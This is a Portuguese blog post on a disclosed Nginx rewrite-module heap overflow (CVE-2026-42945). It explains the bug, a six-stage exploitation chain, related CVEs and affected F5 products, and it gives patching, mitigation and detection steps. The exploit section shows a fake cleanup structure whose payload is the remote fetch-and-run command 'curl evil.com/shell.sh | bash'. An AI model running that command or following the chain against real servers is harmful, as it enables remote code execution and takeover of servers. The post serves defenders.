Uma Linha de Configuração Escondendo um Desastre
Imagine que você configura um rewrite no Nginx — algo que todo mundo faz, algo tão comum quanto respirar pra quem trabalha com servidores web. Só que essa regra de rewrite, que parece absolutamente inofensiva, carrega um bug de 18 anos que permite a qualquer pessoa na internet executar código no seu servidor. Sem autenticação. Sem sessão. Sem nada.
Ontem, 13 de maio de 2026, a F5 e os pesquisadores da depthfirst divulgaram publicamente a CVE-2026-42945 — apelidada de Nginx Rift. É um heap buffer overflow no ngx_http_rewrite_module com score CVSS de 9.2 (crítico), e afeta literalmente todas as versões do Nginx Open Source de 0.6.27 até 1.30.0. Estamos falando de um bug que nasceu em 2008.
O Nginx serve cerca de 34% de todos os sites da internet. Isso significa que potencialmente centenas de milhões de servidores estão vulneráveis agora. E a real? O proof of concept já está no GitHub.
O Nginx e o Peso de Carregar a Internet
Antes de mergulhar no exploit, vale lembrar o que está em jogo. O Nginx não é um software qualquer. Ele nasceu em 2004 pelas mãos de Igor Sysoev como uma resposta ao problema C10K — como lidar com 10.000 conexões simultâneas num único servidor. Enquanto o Apache criava um processo por conexão (modelo insustentável em escala), o Nginx introduziu um modelo event-driven assíncrono que mudou a web.
Hoje, praticamente toda empresa que opera na internet usa Nginx de alguma forma. Ele funciona como reverse proxy, load balancer, terminador SSL, servidor de conteúdo estático e gateway de API. Netflix, Dropbox, WordPress.com, Cloudflare — todo mundo depende dele. A aquisição pela F5 Networks em 2019 por $670 milhões deu ao projeto recursos corporativos, mas o core continua sendo C puro, mantido por um time relativamente pequeno.
Quando uma vulnerabilidade de RCE aparece num software assim, o impacto não é teórico. É prático e imediato.
Como Funciona o Exploit (a Parte Técnica)
Vou ser direto: o bug mora no arquivo src/http/ngx_http_script.c, dentro do módulo de rewrite. Pra entender o problema, você precisa saber que o Nginx processa regras de rewrite em dois passos:
- Primeiro passo — calcula o tamanho do buffer necessário para a nova URI
- Segundo passo — copia os dados para o buffer alocado
Parece simples, e na maioria dos casos funciona perfeitamente. O problema aparece quando a regra de rewrite tem um ? (question mark) na string de substituição. Uma função chamada ngx_http_script_start_args_code seta e->is_args = 1. Até aí, ok. Mas ela nunca limpa esse valor.
Resultado: no primeiro passo, o cálculo do tamanho usa is_args = 0 (estado fresco), então as capturas são medidas como bytes crus. No segundo passo, o is_args já está em 1, e a função ngx_escape_uri é chamada com a flag NGX_ESCAPE_ARGS. Isso expande caracteres como +, % e & de 1 byte para 3 bytes.
Na prática, o buffer alocado é pequeno demais pro que vai ser escrito nele. O conteúdo transborda para a memória adjacente no heap. E o atacante controla exatamente o que transborda, porque os bytes vêm da URI da requisição HTTP.
A Configuração que Abre a Porta
Aqui está o tipo de config que torna seu servidor vulnerável:
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
set $debug $1;
Os três ingredientes do desastre:
- Capturas não-nomeadas (
$1,$2) — usam o caminho de código bugado - Question mark na string de substituição (
?id=$1) — seta ois_argspermanentemente - Diretiva
set,ifou outrorewritelogo depois — força a re-avaliação com estado corrompido
Se a sua config tem essa combinação, você está vulnerável. E eu aposto que boa parte dos nginx.conf por aí tem exatamente isso — qualquer tutorial de “Nginx rewrite” na internet ensina esse padrão.
As 6 Etapas do Ataque
Os pesquisadores da depthfirst documentaram uma cadeia de exploração completa em 6 estágios. Não é teoria — o exploit está publicado no GitHub com código funcional.
Estágio 1: Provocando o Overflow
O atacante envia uma requisição HTTP com uma URI crafted contendo caracteres escapáveis (+, &, %). No primeiro passo, o Nginx calcula que precisa de, digamos, 50 bytes. No segundo passo, os mesmos caracteres são expandidos para 3x o tamanho. O buffer de 50 bytes recebe 80+ bytes. O heap é corrompido com dados controlados pelo atacante.
Estágio 2: Escolhendo o Alvo
O overflow não é aleatório. O atacante mira o campo cleanup (offset 64) de uma estrutura ngx_pool_t adjacente no heap. Esse campo contém ponteiros de função que são executados quando o pool de memória é destruído — um mecanismo de garbage collection do Nginx. Corromper esse ponteiro significa controlar o que roda quando o pool é liberado.
Estágio 3: Heap Feng Shui
Aqui é onde fica elegante (e assustador). O atacante usa uma técnica chamada cross-request heap manipulation — basicamente, manipula a alocação de memória através de múltiplas requisições simultâneas:
- Abre uma conexão e envia headers parciais — isso aloca memória no heap em uma posição previsível
- Uma segunda requisição aloca o pool “vítima” adjacente ao buffer vulnerável
- A primeira requisição é completada, provocando o overflow que corrompe exatamente o pool vizinho
O timing é crucial, mas a arquitetura multi-processo do Nginx ajuda o atacante: cada worker process tem seu próprio heap, o que torna o layout de memória mais previsível do que seria num modelo multi-threaded.
Estágio 4: Injetando a Estrutura Falsa
Via requisições POST, o atacante faz heap spraying — envia payloads binários contendo estruturas ngx_pool_cleanup_s falsas. O corpo do POST é processado como stream de bytes crus, o que permite injetar dados arbitrários na memória. Essas estruturas falsas apontam para a função system() da libc e contêm o comando shell desejado:
// Estrutura falsa injetada via POST body
struct ngx_pool_cleanup_s {
handler = &system; // ponteiro para system()
data = "curl evil.com/shell.sh | bash";
};
Estágio 5: Resolvendo Endereços
O Nginx usa arquitetura multi-processo com fork(). Processos filhos herdam o layout de memória do pai — incluindo a posição de funções da libc como system(). Com ASLR desabilitado (comum em containers Docker e alguns servidores de produção), os endereços são estáticos. Mesmo com ASLR ativo, o atacante pode fazer brute force: como o Nginx respawna workers que crasham, cada tentativa falha simplesmente mata um worker e cria outro com o mesmo layout.
Estágio 6: Execução
O atacante fecha o socket da conexão vítima. O Nginx destrói o pool de memória associado, percorre a linked list de cleanup handlers — e executa o handler do atacante. system("curl evil.com/shell.sh | bash") roda com as permissões do processo Nginx. Game over.
Em servidores onde o Nginx roda como www-data, o atacante tem acesso ao filesystem do web server. Em ambientes misconfigured onde roda como root (acontece mais do que deveria), é acesso total ao sistema.
As 4 CVEs que Vieram no Pacote
A CVE-2026-42945 não veio sozinha. Na mesma divulgação, a F5 revelou mais três vulnerabilidades — cada uma em um módulo diferente:
| CVE | CVSS | Tipo | Módulo Afetado | |
|---|---|---|---|---|
| —– | —— | —— | —————- | |
| CVE-2026-42945 | 9.2 | Heap Buffer Overflow (RCE) | Rewrite | |
| CVE-2026-42946 | 8.3 | Denial of Service | SCGI/uWSGI | |
| CVE-2026-40701 | 6.3 | Use-After-Free | SSL | |
| CVE-2026-42934 | 6.3 | Out-of-Bounds Read | Charset |
A CVE-2026-42946 merece atenção especial: é um DoS nos módulos SCGI e uWSGI com score 8.3. Se você roda aplicações Python (Django, Flask) ou Ruby atrás do Nginx via uWSGI, confira se está afetado. Um atacante pode derrubar seus workers sem nem precisar do exploit de RCE.
A CVE-2026-40701 no módulo SSL é um use-after-free — o tipo de bug que pode evoluir de “leitura de memória” para “execução de código” conforme mais pesquisadores investigam. Fique de olho nessa.
Quem Está na Linha de Fogo
Não é só o Nginx standalone. A lista de produtos da F5 afetados é extensa:
- Nginx Open Source 0.6.27 a 1.30.0
- Nginx Plus R32 a R36
- Nginx Instance Manager — se você gerencia múltiplas instâncias Nginx, todas elas podem estar expostas
- F5 WAF for Nginx — irônico: o firewall que deveria proteger seus apps está ele mesmo vulnerável
- Nginx App Protect (WAF e DoS) — mesma ironia
- Nginx Gateway Fabric — se você usa isso como gateway de API, suas APIs estão expostas
- Nginx Ingress Controller (para Kubernetes) — e essa é a que mais preocupa
Se você roda Kubernetes com Ingress Controller do Nginx — e muita gente roda, é o ingress controller mais popular do ecossistema — você precisa atualizar. O Ingress Controller é literalmente a porta de entrada do seu cluster. Um RCE nele dá acesso ao namespace do controller e, dependendo da configuração de RBAC, pode escalar para o cluster inteiro.
Como Se Proteger Agora
Opção 1: Atualize (Recomendado)
As versões corrigidas já estão disponíveis:
# Nginx Open Source
# Atualize para 1.30.1 (stable) ou 1.31.0 (mainline)
sudo apt update && sudo apt install nginx=1.30.1-1~$(lsb_release -cs)
# Ou via compilação
wget https://nginx.org/download/nginx-1.30.1.tar.gz
tar xzf nginx-1.30.1.tar.gz
cd nginx-1.30.1
./configure --with-http_ssl_module --with-http_v2_module
make && sudo make install
Para Nginx Plus, aplique os patches R36 P4 ou R35 P2. Para o Ingress Controller, atualize o Helm chart para a versão mais recente.
Opção 2: Mitigação Temporária (Sem Downtime)
Se não pode atualizar imediatamente, troque capturas não-nomeadas por capturas nomeadas em todas as regras de rewrite:
# ANTES (vulnerável)
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# DEPOIS (seguro)
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$
/profile.php?id=$user_id&tab=$section last;
Essa mudança é segura, não altera o comportamento funcional, e pode ser aplicada com um simples nginx -s reload — zero downtime. Capturas nomeadas não passam pelo caminho de código vulnerável porque usam um mecanismo de lookup diferente internamente.
Opção 3: Auditoria Rápida
Quer saber se está vulnerável? Rode isso no seu servidor:
# Encontra regras de rewrite com capturas não-nomeadas + question mark
grep -rn 'rewrite.*\$[0-9].*\?' /etc/nginx/ 2>/dev/null
# Se retornar resultados, você provavelmente precisa agir
Combine com uma verificação de versão:
nginx -v 2>&1
# Se for <= 1.30.0, é vulnerável
Para quem quer monitorar tentativas de exploit, configure logs para alertar sobre requisições com URIs contendo sequências longas de +, % e &:
# Adicione ao nginx.conf para detectar tentativas
if ($request_uri ~* "[\+%&]{10,}") {
access_log /var/log/nginx/suspicious.log;
}
18 Anos Escondido — Como Ninguém Viu?
Essa é a pergunta que todo mundo faz. Como um bug crítico de RCE sobrevive 18 anos em um dos softwares mais auditados do planeta?
Primeiro, o padrão vulnerável requer uma combinação específica de três diretivas. Não é qualquer rewrite que dispara — precisa de capturas não-nomeadas, question mark na substituição, E uma diretiva subsequente (set, if, outro rewrite). Muitas configurações têm dois dos três ingredientes, mas não todos. O bug é uma bomba-relógio que só detona com a combinação exata.
Segundo, o overflow depende de caracteres escapáveis na URI. Em uso normal, URIs limpas nunca provocam expansão suficiente para causar crash. O bug se manifesta apenas com URIs deliberadamente crafted — algo que não acontece em tráfego orgânico. Ninguém encontra esse bug por acidente.
Terceiro — e talvez o mais importante — o código do ngx_http_rewrite_module é C puro, denso, e lida com manipulação de memória manual. O mismatch entre os dois passos (cálculo e cópia) está separado por dezenas de linhas de código e várias invocações de função. Revisões humanas de código raramente pegam esse tipo de inconsistência temporal. Ferramentas de análise estática tradicionais também não detectam facilmente mismatches entre alocação e escrita quando o estado muda entre chamadas de função.
Isso levanta uma questão que eu acho mais interessante que o bug em si: ferramentas de IA para auditoria de código (como Claude Mythos, que analisou 178 mil linhas do curl e encontrou só 1 bug real) teriam pego isso antes? O padrão — estado que persiste entre invocações de uma máquina de estados de dois passos — é exatamente o tipo de coisa que modelos de linguagem são bons em rastrear. Talvez em 2028 a gente olhe pra trás e ache absurdo que bugs assim ficassem escondidos por quase duas décadas.
Checklist: Os Próximos 30 Minutos
Se você administra servidores com Nginx, aqui vai seu plano de ação imediato:
- Verifique a versão:
nginx -v - Procure configurações vulneráveis:
grep -rn 'rewrite.<em>\$[0-9].</em>\?' /etc/nginx/ - Se encontrou: aplique a mitigação com capturas nomeadas ou atualize para 1.30.1+
- Se usa Nginx Ingress Controller: verifique a versão do controller e atualize o Helm chart
- Se usa Nginx Plus ou F5 WAF: consulte o advisory oficial da F5 para seu produto específico
- Se roda Docker: verifique se suas imagens base usam Nginx e atualize-as —
docker pull nginx:1.30.1 - Monitore logs: busque por requisições com URIs anormalmente longas contendo muitos
+,%e&
O exploit já é público. O PoC está no GitHub com código funcional. A janela entre a divulgação e a exploração em massa está cada vez menor — em CVEs recentes de alta severidade, atacantes levaram menos de 10 horas para começar a explorar. O relógio já está correndo.
—
Fonte de inspiração: Nginx-Rift — DepthFirstDisclosures (GitHub) e The Hacker News













